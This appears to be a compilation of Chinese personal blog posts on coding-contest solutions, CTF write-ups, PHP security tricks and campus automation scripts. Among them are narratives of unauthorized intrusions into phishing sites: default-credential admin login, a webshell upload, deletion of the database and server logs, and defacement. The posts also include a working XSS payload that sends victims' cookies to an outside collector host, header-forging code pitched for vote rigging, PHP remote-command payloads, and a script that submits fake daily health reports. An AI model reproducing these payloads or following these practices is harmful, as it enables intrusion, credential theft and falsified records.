5、找回连接的奇幻之旅考察了闭包函数、剩余参数、call、apply以及this的指向问题这里给大家辨析以下call和apply以及bind方法的区别，call和apply的区别在于第二个参数前者接收的是单个参数(从第二个参数开始，你可以直接列举出需要传递给函数的参数，它们会按照顺序传递。)，而后者接收的是一个数组，两个方法都会让函数能够立即执行。bind方法第二个参数接收的方式与call相同，但是函数不会立即执行。我理解的闭包函数特点有：1、让内部函数访问其所在外部函数的作用域中的变量，即使外部函数已经执行完毕，只要内部函数还被引用，这些外部变量就不会被垃圾回收机制回收。2、维持外部函数局部变量的持久性。即使外部函数执行结束，由于内部函数持有对外部变量的引用，这些变量的值可以跨函数调用被保留下来function resetableOnce(fn) { let done = false; // 标记函数是否已执行 let result; // 保存函数执行的结果 /** * 保证只执行一次的函数 * @returns {Any} 返回函数fn的执行结果 */ function runOnce(...ags) { if (!done) { // 如果之前没有执行过，则执行函数fn，并保存结果 result = fn.apply(this, ags); done = true; // 标记为已完成，确保之后不再执行 } // 返回之前执行的结果 return result; } /** * 重置函数的执行状态 */ function reset() { done = false; // 重置done为false，允许函数再次执行 } // 返回控制对象 return { runOnce, reset }; } 6、tree 命令助手考察知识点：Node.js递归.fs操作引用官方题解function generateTree(dirPath) { // 读取目录下的所有文件和文件夹 const files = fs.readdirSync(dirPath); const tree = []; files.forEach(file => { const filePath = path.join(dirPath, file); const isDirectory = fs.statSync(filePath).isDirectory(); if (isDirectory) { // 如果是目录，则递归生成子目录的文件树 const subtree = generateTree(filePath); tree.push({ name: file, children: subtree }); } else { // 如果是文件，则直接添加到文件树 tree.push({ name: file }); } }); return tree; } 7、Github 明星项目统计vue3的双向绑定、 array的原型方法，filter、map由于JavaScript单线程的特性，为了不阻塞用户界面和其他任务的执行，它使用异步处理机制来处理耗时操作，因此大量的使用回调函数来处理问题，在js中函数是“一等公民”，也就是能够像变量一样当作参数来传递。而箭头函数与普通函数的区别则在于箭头函数不绑定自己的this值，它会捕获其所在上下文的this值作为自己的this。箭头函数其实就是其它编程语言的lambda表达式。 {{language}} 8、小蓝驿站主要还是考察vue3的数据处理以及字符串的原型方法。js是一门面向对象的语言，它实现面向对象的方式与java、python、php等编程语言不同，前者是基于原型实现，后者是基于类实现，在ES6中虽然引入了class的概念，但是它本质上还是原型的语法糖。// 目标 1 0" class="contacts-group-title"> {{ group.letter }} {{ contact.name }} 删除 9、 商品浏览足迹考察知识点：axios对象去重Date对象 window.onload = async ()=> { const res = await axios("./js/data.json"); const newData = getData(res.data); showData(newData); }; /** * 将同一天浏览的相同商品去重并作为数组返回 * @param {Array} defaultData json 文件中读取到的原始数据 * @returns 去重后的数据，数据结构与 defaultData 相同 */ const removeDuplicates = defaultData => { let newData = []; // TODO：在下面补充代码，最终完成该函数封装 defaultData.forEach((defaultGoods) => { const defaultDate = new Date(defaultGoods.viewed_on); const dD = `${defaultDate.getFullYear()}-${ defaultDate.getMonth() + 1 }-${defaultDate.getDate()}`; defaultGoods.date = dD; let hadThisGoods = false; newData.forEach((tmpGoods) => { const tmpDate = new Date(tmpGoods.viewed_on); const tD = `${tmpDate.getFullYear()}-${ tmpDate.getMonth() + 1 }-${tmpDate.getDate()}`; if (tmpGoods.id == defaultGoods.id && tD == dD) { hadThisGoods = true; } }); if (!hadThisGoods) { newData.push(defaultGoods); } }); return newData; } /** * 将去重后的数据根据字段 viewed_on（格式化为 YYYY-MM-DD） 降序排序 * @param {*} defaultData 去重后的数据 * @returns 根据字段 viewed_on（格式化为 YYYY-MM-DD） 降序排序 */ const sortByDate = defaultData => { let newData = []; // TODO：在下面补充代码，最终完成该函数封装 function sortByProperty(property, asc) { return function (value1, value2) { let a = new Date(value1[property]); let b = new Date(value2[property]); // 默认升序 if (asc == undefined) { return a - b; } else { return asc ? a - b : b - a; } }; } newData = defaultData.sort(sortByProperty("date", false)); return newData; } /** * 将去重排序后的所有商品数据，作为一个对象存储并返回， * 该对象的所有 `key` 为浏览商品的当天日期（即，字段 viewed_on 格式化为 YYYY-MM-DD）， * `value` 为当天浏览的所有商品（以数组形式表现）。 * @param {Array} defaultData 重后的所有商品数据 * @returns */ const transformStructure = defaultData => { let newData = {}; // TODO：在下面补充代码，最终完成该函数封装 // 月份和日期 不足10的前面补0 defaultData.forEach(item=>{ let date=new Date(item.date) ; let y = date.getFullYear() let m = date.getMonth()+1 m=m<10?'0'+m:m let d = date.getDate(); d=d<10?'0'+d:d item.date=`${y}-${m}-${d}`; }) newData = defaultData.reduce((aD, item) => { console.log(item); if (!aD[item.date]) { aD[item.date] = []; aD[item.date].push(item); } else { if (!aD[item.date].includes(item.date)) { aD[item.date].push(item); } } return aD; }, {}); return newData; } 10、NPM Download Simulator获取数据类型、 promise.racefunction myRace(iterable) { return new Promise((resolve, reject) => { if (!(Symbol.iterator in Object(iterable))) { reject( new TypeError( `${Object.prototype.toString .call({ iterable }) .slice(-8, -1) .toLocaleLowerCase()} is not iterable` ) ); return; } const promises = Array.from(iterable); let resolvedOrRejected = false; for (const promise of promises) { Promise.resolve(promise).then( (value) => { if (!resolvedOrRejected) { resolvedOrRejected = true; resolve(value); } }, (reason) => { if (!resolvedOrRejected) { resolvedOrRejected = true; reject(reason); } } ); } }); }[button color="success" icon="" url="https://blog.eirds.cn/usr/uploads/2024/05/1876865579.zip" type=""]点击我下载省赛真题[/button]
目录##1. 签到题 ##2. web2 c0me_t0_s1gn ##3. 我的眼里只有$ ##4. 一言既出 ##5. 驷马难追 ##6. 化零为整 ##7. 无一幸免 ##8. 传说之下（雾）这是做的部分ctf题题解，仅为方便自己学习记录，欢迎大家交流补充~0x01 签到题打开题目，给我们的是源代码，通过阅读代码，这就是一个通过外部构造系统命令执行的一个漏洞，通过这几个函数套娃，最终用eval函数把字符串当作php代码执行。我们根据代码写payload，(注意，中文请先进行url编码) ?b=c&c[6][0][7][3][8][0][9][4][4]=system("ls%20/"); post:a=b cookie:CTFshow-QQç¾¤:=a /* 解释一下，源代码为$_REQUEST[$_GET[$_POST[$_COOKIE['CTFshow-QQ群:']]]]， 通过构造之后变成$_REQUEST[[$_GET[$_POST['a']]]->$_REQUEST[[$_GET['b']]->$_REQUEST['c']->system("ls%20/"); php中$_REQUEST函数支持get和post方法，所以两种都可以 通过调用linux命令ls /，获取根目录下有哪些文件，发现 f1agaaa，读取这个文件，获得flag 最终payload： ?b=c&c[6][0][7][5][8][0][9][6][4]=system("cat /f1agaaa"); post:a=b cookie:CTFshow-QQç¾¤:=a */ 0x02 web2 c0me_t0_s1gn打开题目，就让我们找找看能不能发现什么，先是右键打开网页源代码后发现部分flag和提示，打开控制台，控制台提示执行这个函数就能获得flag，执行之后成功获得后半部分flag，拼接之后就是完整的flag，又是一道签到题。0x03 我的眼里只有$这道题和第一道题有点像，又是一个套娃题。不过这里用了一个extract($_POST)，这个函数的作用就是将数组中的索引和值用变量来表示，例如extract(['a'=>1]) 等价于 $a=1 35个$符，a-z都不够用啊，构造这个花了我挺长时间。构造完了才想起来写一个循环完事的事情...最终的payload:_=a&a=b&b=c&c=d&d=e&e=f&f=g&g=h&h=i&i=j&j=k&k=l&l=m&m=n&n=o&o=p&p=q&q=r&r=s&s=t&t=u&u=v&v=w&w=x&x=y&y=z&z=ab&ab=cd&cd=ef&ef=fg&fg=hi&hi=jk&jk=lm&lm=no&no=pq&pq=system("cat /f1agaaa"); 0x04 一言既出通过代码审计，这道题考的就是弱类型语言数值的比较这里复习一下知识点<?phpecho '1'==1;//true (在两个等号条件下，字符串1和数字1相等,比较方式是将字符串换成整型后比较)echo '1abcd'==1;//true （是不是很神奇，在进行字符串隐式转换为整型时遇到非数字{小数点除外}就终止）经过测试，在最新版本的php8返回falseecho '11+1'==11; //true//intval()函数把数字字符串转成整型数字intval('678abc")//678intval('6+7');//13所以可以通过构造payload:/?num=114514%2B1919810-114514注意:只要是特殊字符在url传参都需要通过url编码另一种思路:就是加注释把后面的代码注释掉，前面部分代码形成闭合，就执行不了die()函数了。payload:/?num=11451");//0x05 驷马难追和上一题差不多，但是多了一个正则验证，但是加号和减号并没有在规则里面。所以构造payload:/?num=114514%2B1919810-114514 即可获得flag0x06 化零为整题目分析:如果输入的是"大牛"就可以输出答案，很明显，要绕过上面的if语句.在utf-8编码中，一个中文为三个字节，而判断的if语句超过两个字节就不可以，所以把一个中文拆成三个单独的字节就行了然后使用的是从1开始的for循环进行拼接，因此对中文进行url编码之后使用数字为变量就行最终构造的payload如下 /?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B http://ca01914c-5bf6-49d7-a4bc-45fc0a0c702b.challenge.ctf.show/?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B 0x07 无一幸免这道题比前面的签到题还简单，首先判断是否存在 0参数，只要能进入if语句就能输出flag了，这个if语句判断的内容是一个赋值语句，所以随便传什么都会返回true 最终payload?0=0 http://034ee1fe-cc46-4d19-8fdc-91184301f8df.challenge.ctf.show/?0=0 0x08 传说之下（雾）打开是一个贪吃蛇游戏根据这里的提示可知，吃到2077个苹果即可获得flag，当然了，你要是想慢慢玩这个游戏，吃到2077个，也是没问题的。最快的办法就是直接篡改数据。分析网页源代码，只发现一个js文件，进入js文件分析。该游戏的分数，由Game函数的score属性控制，并且把Game属性挂载到window对象中，所以直接在控制台执行 执行之后开始一下游戏即可输出flag。 目前只做了几道题来进行学习和练习，好久没更新文章了，记录一下解题步骤方便自己之后复习。
贵州师范大学抢课脚本-正方教务系统V8.0.0
起晚了又或者说是系统进不去，那就只能去吃残羹冷炙了...此脚本主要是针对别人帮忙选课，然后准备退课给别人的时候，从别人手上抢过来.仅供交流学习，请勿用于非法用途，不保证抢课成功，具体情以实际为主直接贴代码<?php //authorqq 1790716272 ignore_user_abort(true);//防止超时 set_time_limit(0); if(!file_exists('./info.bat')){ //从黑框框控制台输入 if(php_sapi_name() === 'cli'){ echo '请输入ck:'; fscanf(STDIN,"%s",$ck); echo '请输入课程信息:'; fscanf(STDIN,"%s",$course); }else{ //浏览器get方式输入 $course = trim($_GET['course']); $ck = trim($_GET['ck']); } file_put_contents('./info.bat',$ck."\n".$course); }else{ $info = file_get_contents('./info.bat'); list($ck,$course) = explode("\n",$info); } $header[] = 'accept: application/json, text/javascript, */*; q=0.01'; $header[] = 'accept-encoding: gzip, deflate, br'; $header[] = $ck; $header[] = 'content-type: application/x-www-form-urlencoded;charset=UTF-8'; $header[] = 'user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36'; $result = xCurl('https://jwgl.gznu.edu.cn/jwglxt/xsxk/zzxkyzbjk_xkBcZyZzxkYzb.html',null,$course,$header); if(!$result) exit("登录失败或对方服务器超时\n可以把超时时间设置久一点\n"); if(json_decode($result)->flag==-1) echo '抢课失败'; else echo '抢课成功'; echo "\n"; function xCurl($url,$cookie=null,$postdata=null,$header=array()){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); if (!is_null($postdata)) curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata); if (!is_null($cookie)) curl_setopt($ch, CURLOPT_COOKIE,$cookie); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_ENCODING, "gzip"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//绕过证书 curl_setopt($ch, CURLOPT_TIMEOUT, 10);//超时设置 $re = curl_exec($ch); curl_close($ch); return $re; } 效果图:使用方法就不再赘述.获取课程和ck方法:在点击抢课按钮之前按F12打开控制台，点击抢课按钮之后，再点击network，headers查看，往下翻再点击payload，view sourse ，下面那串就是课程信息我自己是一分钟扫描一次
记录一次入侵某钓鱼盗号网站的过程
一次入侵某盗号网站的记录就算是经常混迹互联网的我,也会被骗，技术再厉害也难防人心。今天有朋友给我发了一个盗号网站，说他朋友被盗号了，给了他发了一个链接，于是便有了这篇文章。0X01故事的开局点击链接进去很明显这就是一个收集QQ账号密码的，当然了这只是对我来说... 很多不是相关专业的朋友打开这样的链接也看不出和官方的区别。这里给大家分享一下如何辨别类似的假冒网站吧。1、 按理说要在中国大陆内搭建网站都是需要备案的，如果面向国内业务的网站没有备案，那百分之90都不是正规。点我查询网站备案信息2、看域名后缀，如果类似这种cfd、xyz、top之类的 没几个大公司用这种域名，因为便宜，骗子们用完就丢了。大部分都是com、cn、net、org等0X02我拿到这个链接的思路，很多骗子们都是不会写代码的，这种盗号程序大部分都是从网上找来的，而且写的很垃圾...很多都没有对用户输入的数据进行过滤，就算是过滤，也是简简单单的通过前端写几个正则表达式匹配一下，我们可以直接把验证部分给删了，或者是直接向服务器发送数据。最开始想的是直接把密码写成一段js，实现xss注入，拿到路径和进入后台，再找到上传点，传入php大马，实现控制服务器，再通过大马传一个数据库管理系统，进入数据库，将数据库进行删除。具体插入的方法请参考[post cid="377" /]等了一段时间还没有获取到对应信息，我想应该是代码被过滤了，或者是被拦截了，那就主动出击吧。这里我先用御剑扫描网站目录，看看能不能扫描出有用的信息。果然扫出了挺多文件的，而且还发现一个bak后缀的，我想到了备份漏洞，就是将开发者在数据库对某些源代码进行备份打包，没有删除，导致泄露相关配置信息。 可以从上面看到这就是一个dedecms,而且版本还非常的低，大概是十一年前的东西，这种比较大型的cms使用的人还是挺多的，所以漏洞也多，因为有更多人的会去审计他的代码，要是一个垃圾程序，没谁会去审计代码，因为就算审计出漏洞了，也没多大的危害。 这是御剑扫到的其中一个后台目录原本想的是利用该程序公开的漏洞实现getshell，但我想了想会不会连后台的账号密码都是默认的，通过搜索引擎的检索，可知dedecms的后台账号密码默认都是admin，输入之后成功进入找到某个地方的文件上传点，上传了我改良过的php木马(可实现在各种php版本运行)，成功getshell可看到网站的目录和同服务器下的其他站点，都是钓鱼网站。由于该站使用的php版本较低，我又通过大马上传了较低版本的phpmyadmin,实现对数据库的操作，成功进入数据库里面的账号密码还是挺多的，挺多人被骗的。我把数据库所有的东西和程序都删了，让更少的人被骗吧。又通过木马，把服务器的日志给删了，达不留痕迹，到全身而退最后挂了一个黑页总结一下常见的web漏洞xss漏洞csrf漏洞sql漏洞模板漏洞备份漏洞默认账号密码漏洞文件上传漏洞越权漏洞0X03最后，希望大家在平时看到不明链接和不明二维码不要随便点击，不要看到个输入框就着急的输入自己的个人信息。要是让我写这种网站，我可以做的更加逼真，在同学朋友需要获取你的信息时或者涉及钱财时，请先通过电话、视频等方式确认对方身份的真实性。有时候真正的黑客往往采用的是最低端的方法。现在数据泄露严重，基本上也都是在互联网裸奔，所以大家在互联网也要注意自己的言行。
弱类型与强类型语言“=”号的不同以及引发的安全问题
弱类型与强类型语言中“=”号的不同[scode type="red"]声明:以下文字仅为个人观点，如有不正确的地方欢迎指正[/scode]0x01在编程语言中的 “=“ 号不同于在数学上的 ”=“号，在数学中,x=5 与 5=x 是一个意思，可以等量替换，但在编程语言中，x=5与5=x 就不同了，后者会报错 因为这里的等号是赋值，且变量名不能为数字开头，我认为”=“号是一个人类伟大的发明.0x02 强类型语言我们(我)知道c语言是一门强类型语言，而诸如python,php等则是弱类型语言。何为强类型？就是在变量声明的时候就预先将其规定类型，如 int a=1；我们可以很清楚的知道a变量是一个数字整型，数值为1，在大部分编译器中占4个字节， char b='1'；这时b变量则是字符型，占一个字节，为字符 ‘1’，对应的十进制ascll码为49，若 a==b 则返回 false ，在比较a和b时，比较的是ascll码值 数值1 与 字符1显然不相等0x03 弱类型语言在弱类型语言中，大部分时候我们都不太需要提前定义声明变量和类型 如在php中$x = 5;$y = '5' ; 在弱类型语言中 "==”与C语言有所不同的是他比较的不是ascll码，而是数值 如 x==y 与 $x==$y 返回的均是true.上面的 "==" 更侧重相等，例如两条狗长的一模一样，而且还一样可爱，那么我们就认为它们相等，但是外表上一样，性格，习惯等又不相同，这里则使用“===”三个等号做判断，意思是全等，完全一个模样刻出来的。引用上面的x和y变量 这时 $x===$y 则返回的是 fasle ,优先比较两者的类型0x04 引发的安全问题在编程语言中科学计数法的表示为 数值e整数，如 5e5 = 5*10^5，若e的前面为0，则后面不论是什么则为0，而null==0 返回true。这是一个很神奇的地方， 1234=='1234abc' //返回true 比较数字 若数字相等则abc被忽略例如 :<?php md5('QNKCDZO')==md5('240610708'); //返回true 0==md5('QNKCDZO') ; //返回true 0==null; //返回true md5(array()) //返回null 某些版本会报错 假如以下是某个程序的登录判断<?php $user = trim($_GET['user']); $pwd = trim($_GET['pwd']); $pwds = $db->query("select pwd from user where user = $user");//密码为 s214587387a if(md5($pwd)==md5($pwds)){ echo '登录成功'; }else{ echo '登录失败'; } 所以绕过登录就很简单，通过构造参数以及数组则可绕过验证。localhost/?user=admin&pwd[]=666 把两个等号换成三个等号就可以这是一道ctf的简单题...0x05 优势与劣势毫无疑问，在弱类型语言下三个等号的判断条件更为严格，目前版本的更新也越来越重视强制类。两个等号提供给了程序员更灵活的处理方法，相对应的也会带来安全隐患
php获取客户端ip以及伪造ip伪造获取ip使用场景比较多,如投票、获取发言者的发言所在省份、对用户ip做登记等.本文主要介绍三个php超全局变量获取客户端ip的方法以及存在的问题.[scode type="red"]声明:因为使用了cdn之后无法正常的获取客户端ip，则做此次记录,仅供学习交流,请不要用于非法用途,由此教程产生的法律问题均与本人无关！[/scode]0x01直接上代码<?php //获取客户端ip,但是如果使用了代理,则获取到的是代理之后的ip echo '1-'.getenv("REMOTE_ADDR").' '; //获取的是客户端访问时header头部带的ip,可任意伪造 echo '2-'.getenv("HTTP_CLIENT_IP").' '; //客户端真实 IP ,但是如果没有使用代理就不返回真实ip echo '3-'.getenv("HTTP_X_FORWARDED_FOR").' '; 0x021、如果客户端使用了透明代理，则getenv("REMOTE_ADDR")返回的是最后一个代理服务器 IP.getenv("HTTP_X_FORWARDED_FOR")返回的是客户端代理之前的ip地址，即客户端真实ip，又浏览器head头部发送.2、若用户使用普通匿名代理服务器则getenv("REMOTE_ADDR") = 最后一个代理服务器 IPgetenv("HTTP_X_FORWARDED_FOR")= 代理服务器 IP 3、用户使用欺骗性代理服务器，getenv("REMOTE_ADDR") = 代理服务器 IPgetenv("HTTP_X_FORWARDED_FOR") = 随机IP4、用户使用高匿名代理getenv("REMOTE_ADDR") = 代理服务器 IPgetenv("HTTP_X_FORWARDED_FOR") 返回空或unkown由于getenv("HTTP_X_FORWARDED_FOR")和getenv("HTTP_CLIENT_IP")获取的IP是由浏览器传过来的,所以可以不使用代理直接进行伪造.代码如下<?php //使用curl伪造head信息发送欺骗服务器。随机生成 $ip = mt_rand(1,254).mt_rand(0,254).mt_rand(0,254).mt_rand(0,254); $header = array( 'CLIENT-IP:'.$ip, 'X-FORWARDED-FOR:'.$ip, ); //伪造浏览器信息 $info =array('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; InfoPath.2; AskTbPTV/5.17.0.25589; Alexa Toolbar)','Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; Alexa Toolbar)','Mozilla/4.0(compatible; MSIE 6.0; Windows NT 5.1; SV1)'); $ch = curl_init();//创建一个curl句柄 curl_setopt ($ch, CURLOPT_URL, 'http://www.baidu.com/');//列如欺骗百度 curl_setopt ($ch, CURLOPT_HTTPHEADER, $header);//发送header信息 curl_setopt ($ch, CURLOPT_REFERER, "http://www.baidu.com/");//可任意伪造来源 curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt ($ch, CURLOPT_USERAGENT, "$info");//伪造浏览器信息 curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, 3); $contents = curl_exec($ch); //执行句柄 curl_close($ch);//结束 var_dump($contents);//打印变量结构只针对getenv("HTTP_X_FORWARDED_FOR")和getenv("HTTP_CLIENT_IP")函数有效.getenv("REMOTE_ADDR")获取的是客户端ip,若使用代理则为代理ip。0x03若网站使用了cdn,则getenv("REMOTE_ADDR")返回的是提供cdn商的ip地址。则使用cdn商提供的方法进行获取。使用了cdn之后获取到的ip0x04作用:例如 1、 以前的很多投票是通过ip来判断人数的，所以可以达到刷票，如果通过getenv("REMOTE_ADDR")获取ip地址，则可以http代理欺骗，关于http代理，百度一下就有很多提供的。2、有的网站是通过getenv("HTTP_X_FORWARDED_FOR")获取ip进行记录用户ip地址并且在后台输出，则可通过将ip地址改为自己构建的js代码，通过xss攻击，可以获取到管理员的cookie，实现无密码登录后台，然后getshell 拿到服务器。当然不是说说这么简单，中间还有很多防火墙.3、...还有很多场景我就不一一列出，就提供一个大概的思路和方法
XSS经典漏洞复现-手撕某非法获取个人信息网站
记一次手动入侵某个非法获取个人信息网站想到诈骗分子现在还是这么猖狂,居然把非法获取个人信息的二维码发到我的眼前,这我又怎么能忍~这不得想办法打掉他.随便做一下网络安全科普,当然了,自己也还是在学习的小白.[scode type="red"]声明:以下仅为一次简单的记录,提供思路及过程,仅供学习交流,请不要用于非法用途,由此教程产生的法律问题均与本人无关！[/scode]0x01和往常一样正常打开QQ，无意间看到群消息有这么一个文档.，出于本能,这肯定是个钓鱼网站...那就扫进去看看究竟有什么猫腻.，可以看到，扫进去之后是这么一个页面。吐槽一下这网站做得一眼假好吧。。但是上当受骗的人还是很多。0x02为了先了解一下网站结构，先随便输入信息提交吧。，随便输入账号密码,进入到，一样随便输入一些符合规则的文字进去。成功提交.网站返回。基本就是这么一个流程0x03漏洞复现只要用户能输入的地方大部分都存在xss漏洞,其中储存型漏洞伤害较大。在输入框这里输入js代码,可用src引入引入自己的代码，![X3OEB9NMB1(13YBW4[8NS]T.png][5] 其中引入的具体代码如下﻿﻿﻿﻿(function(){(new Image()).src='http://xsscom.com/index.php?do=api&id=Wn7zcb&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());})(); if(''==1){keep=new Image();keep.src='http://xsscom.com/index.php?do=keepsession&id=Wn7zcb&url='+escape(document.location)+'&cookie='+escape(document.cookie)};利用的是后台直接输出用户输出的内容，浏览器直接执行用户输入的恶意木马，能够document.cookie,当后台执行我插入的木马之后,就会发送后台地址以及token到我这里。没一会儿就中招了。![`E8T]0$E(BHM2(APAOXI7Q.png可以看到后台地址,对方的ip以及ua信息，cookie。成功进入后台，可以看到很多大学生的信息...而且很多条，并且它有很多个网站，所以收集了大量信息，并且又利用被获取的继续发送，广泛传播。原本想在这个上传点传入大马getshell的，但是一直没能成功，图片马也不能解析。因此没有获取到服务器。只能挂个黑页了[scode type="green"]所有呢在最后我希望你们不要看到获取信息的输入框就输入自己的个人信息，也不要随便扫二维码。在打开未知的网站前可以去去工信部查询对方网站是否为备案以及有相应的运行资质。政府网站后缀统一为gov.cn,学校网站后缀统一为edu.cn后缀等[/scode]我的博客即将同步至腾讯云+社区，邀请大家一同入驻：https://cloud.tencent.com/developer/support-plan?invite_code=qpwmu9jb7yaa
前言:当代大学生每天必须做的一件事我想会有健康打卡吧，有时候忘记打卡还会被@来@去，于我而言，每天都是在学校，位置并没有变，自动打卡可以完全交给程序去完成啦~以下程序是在贵州师范大学实现，如果是其他学校，方法也差不多噢，接定制~[scode type="red"]注意:本脚本仅供学习交流,请勿用于非法操作,建议在下载24小时后删除，由此脚本发生的问题均与本站无关。[/scode]本站提供实现原理步骤以及配合腾讯云云函数实现自动签到.抓包打卡无非就是向服务器提交某些信息和数据，只要捕获到所需的参数，使用编程模拟向服务器发送数据就可以实现成功打卡。所以第一步就是抓包。因为打卡是在微信里面打，为了方便，我这里使用的是手机抓包工具 点我下载抓包精灵，按照教程配置好后点击开始，右上角选择抓取微信的，接着打开微信到打卡界面如下点击打卡后回到抓包软件。搜索daka，找到这一条可以看到是向http://daka.wecampus.gznu.edu.cn:80/server/api/baseRecord/add?jwtToken=这里是你的token 提交的post JSON数据，接下来只需要自己用编程语言提交以下数据就可以了。这里我使用比较擅长的PHP.代码实现 <?php //author 龙辉 // qq:1790716272 header("Content-type: text/html; charset=utf-8"); date_default_timezone_set("PRC"); $token = '这里替换你的token';//这里填写token=后面的值 $postdata='{ "healthStatus":"健康", "suspectedDate":null, "patientDate":null, "isHot":false, "temperature":37, "isInHospital":"否", "hospital":null, "isolated":false, "isolatedMode":null, "isolatedAddress":null, "isolatedReason":null, "isolatedStartDate":null, "isolatedEndDate":null, "locationLatitude":"26.38743", "locationLongitude":"106.63461", "isOut":false, "locationCountry":"国内", "locationProvince":"贵州省", "locationCity":"贵阳市", "locationArea":"花溪区", "locationDetail":"二号路", "hasTravel":false, "travelReason":null, "travelFromDate":null, "travelFromPlace":null, "travelArrivalDate":null, "travelArrivalPlace":null, "travelMode":null, "travelComment":null, "hasTouchPatient":false, "hasOutHistory":false, "hasChumHot":false, "hasGoHighRiskArea":false, "hasTouchPersonFromHighRiskArea":false, "notes":"", "locationDescription":"贵州省贵阳市花溪区二号路" }'; $result = xCurl('http://daka.wecampus.gznu.edu.cn:80/server/api/baseRecord/add?jwtToken='.$token,'',$postdata); if(json_decode($result,true)['success']==true) { echo '今日健康打卡成功'."\n".'当前时间:'.date('Y-m-d H:i:s', time()); } else { echo '今日打卡失败,请检查'; } function xCurl($url,$cookie=null,$postdata=null,$header=array()){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL,$url); if (!is_null($postdata)) curl_setopt($ch, CURLOPT_POSTFIELDS,$postdata); if (!is_null($cookie)) curl_setopt($ch, CURLOPT_COOKIE,$cookie); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json; charset=utf-8', 'Content-Length:'.strlen($postdata) ) ); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); curl_setopt($ch, CURLOPT_ENCODING, "gzip"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 2); $re = curl_exec($ch); curl_close($ch); return $re; } ?> 如果你有服务器或虚拟空间只需要将代码上传并添加计划任务即可.腾讯云云函数以下是使用腾讯云云函数实现。打开腾讯云腾讯云，在搜索框搜索云函数，点击新建，选择从头开始，事件函数，运行环境选择php5.6，将上面的代码复制进去，并且把你自己的token填进去 触发方式选择定时触发，触发周期选择自定义,填入0 0 9,14,16 表示在每天上午9点，下午2点，4点触发.然后完成就可以啦~如果你也懂，就自己写推送吧~我懒 这是我的机器人推送,每天签到完毕会在群里提醒我
天方云签介绍[scode type="green"]使用php+mysql实现的云签系统,因为我太懒,目前主要签到贴吧和网易云音乐。你的点赞是我更新的动力。下个版本将会支持对接QQ群机器人，支付系统，其他更多签到.[/scode]软件架构软件架构说明使用滑块验证，QQ快捷登录等..安装教程上传文件到服务器或者虚拟空间，访问首页即安装指引然后请阅读readme使用说明本程序仅供学习交流,请你在下载24小时后删除本文件参与贡献作者 龙辉 QQ1790716272 前端页面部分由GG QQ9075512完成.感谢下个版本下个版本将会支持更多的签到,将会采用插件化点我进入云签官网点我进入项目地址